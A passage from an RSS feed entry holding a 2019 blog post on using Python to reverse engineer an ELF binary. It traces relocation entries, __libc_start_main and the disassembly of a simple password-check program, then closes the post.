1600<span class="go"> 0x200d98</span>
1601<span class="go"> 0x200da0</span>
1602<span class="go"> 0x201008</span>
1603<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1604<span class="go">**__libc_start_main 0x200fe0**</span>
1605<span class="go">__gmon_start__ 0x200fe8</span>
1606<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1607<span class="go">__cxa_finalize 0x200ff8</span>
1608<span class="go">stdin 0x201010</span>
1609<span class="go">.rela.plt:</span>
1610<span class="go">puts 0x200fb0</span>
1611<span class="go">printf 0x200fb8</span>
1612<span class="go">fgets 0x200fc0</span>
1613<span class="go">strcmp 0x200fc8</span>
1614<span class="go">malloc 0x200fd0</span>
1615</code></pre></div>
1616
1617<p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib&#8212;libc-start-main-.html">linuxbase.org</a></p>
1618
1619<blockquote>
1620  <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p>
1621</blockquote>
1622
1623<p>And its definition is like so</p>
1624
1625<div class="codehilite"><pre><span></span><code><span class="kt">int</span> <span class="nf">__libc_start_main</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">(</span><span class="n">main</span><span class="p">)</span> <span class="p">(</span><span class="kt">int</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span><span class="p">),</span> 
1626<span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span> <span class="o">*</span> <span class="n">ubp_av</span><span class="p">,</span> 
1627<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">init</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1628<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1629<span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="n">rtld_fini</span><span class="p">)</span> <span class="p">(</span><span class="kt">void</span><span class="p">),</span> 
1630<span class="kt">void</span> <span class="p">(</span><span class="o">*</span> <span class="n">stack_end</span><span class="p">));</span>
1631</code></pre></div>
1632
1633<p>Looking back at our disassembly</p>
1634
1635<pre><code>0x6a0: xor ebp, ebp
16360x6a2: mov r9, rdx
16370x6a5: pop rsi
16380x6a6: mov rdx, rsp
16390x6a9: and rsp, 0xfffffffffffffff0
16400x6ad: push rax
16410x6ae: push rsp
16420x6af: lea r8, [rip + 0x23a]
16430x6b6: lea rcx, [rip + 0x1c3]
1644**0x6bd: lea rdi, [rip + 0xe6]**
16450x6c4: call qword ptr [rip + 0x200916]
16460x6ca: hlt
1647... snip ...
1648</code></pre>
1649
1650<p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p>
1651
1652<p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p>
1653
1654<p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p>
1655
1656<p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p>
1657
1658<pre><code>printf 0x650
1659fgets  0x660
1660strcmp 0x670
1661malloc 0x680
1662</code></pre>
1663
1664<p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p>
1665
1666<pre><code>0x7b2: mov edi, 0xa  ; 10
16670x7b7: call 0x680    ; malloc
1668</code></pre>
1669
1670<p>The loop to populate the <code>*pw</code> string</p>
1671
1672<pre><code>0x7d0:  mov     eax, dword ptr [rbp - 0x14]
16730x7d3:  cdqe    
16740x7d5:  lea     rdx, [rax - 1]
16750x7d9:  mov     rax, qword ptr [rbp - 0x10]
16760x7dd:  add     rax, rdx
16770x7e0:  movzx   eax, byte ptr [rax]
16780x7e3:  lea     ecx, [rax + 1]
16790x7e6:  mov     eax, dword ptr [rbp - 0x14]
16800x7e9:  movsxd  rdx, eax
16810x7ec:  mov     rax, qword ptr [rbp - 0x10]
16820x7f0:  add     rax, rdx
16830x7f3:  mov     edx, ecx
16840x7f5:  mov     byte ptr [rax], dl
16850x7f7:  add     dword ptr [rbp - 0x14], 1
16860x7fb:  cmp     dword ptr [rbp - 0x14], 8
16870x7ff:  jle     0x7d0
1688</code></pre>
1689
1690<p>And this looks like our <code>strcmp()</code></p>
1691
1692<pre><code>0x843:  mov     rdx, qword ptr [rbp - 0x10] ; *in
16930x847:  mov     rax, qword ptr [rbp - 8]    ; *pw
16940x84b:  mov     rsi, rdx             
16950x84e:  mov     rdi, rax
16960x851:  call    0x670                       ; strcmp  
16970x856:  test    eax, eax                    ; is = 0? 
16980x858:  jne     0x868                       ; no? jump to 0x868
16990x85a:  lea     rdi, [rip + 0xae]           ; "haha yes!" 
17000x861:  call    0x640                       ; puts
17010x866:  jmp     0x874
17020x868:  lea     rdi, [rip + 0xaa]           ; "nah dude"
17030x86f:  call    0x640                       ; puts  
1704</code></pre>
1705
1706<p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p>
1707
1708<p><strong>Update</strong>: It&#8217;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p>
1709
1710<h3 id="conclusion">Conclusion</h3>
1711
1712<p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p>
1713
1714<p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p>
1715
1716<p>Ciao for now, and I’ll see ya in #2 of this series — PE binaries. Whenever that is.</p>
1717]]></description><link>https://icyphox.sh/blog/python-for-re-1</link><pubDate>Fri, 08 Feb 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/python-for-re-1</guid></item></channel>
1718</rss>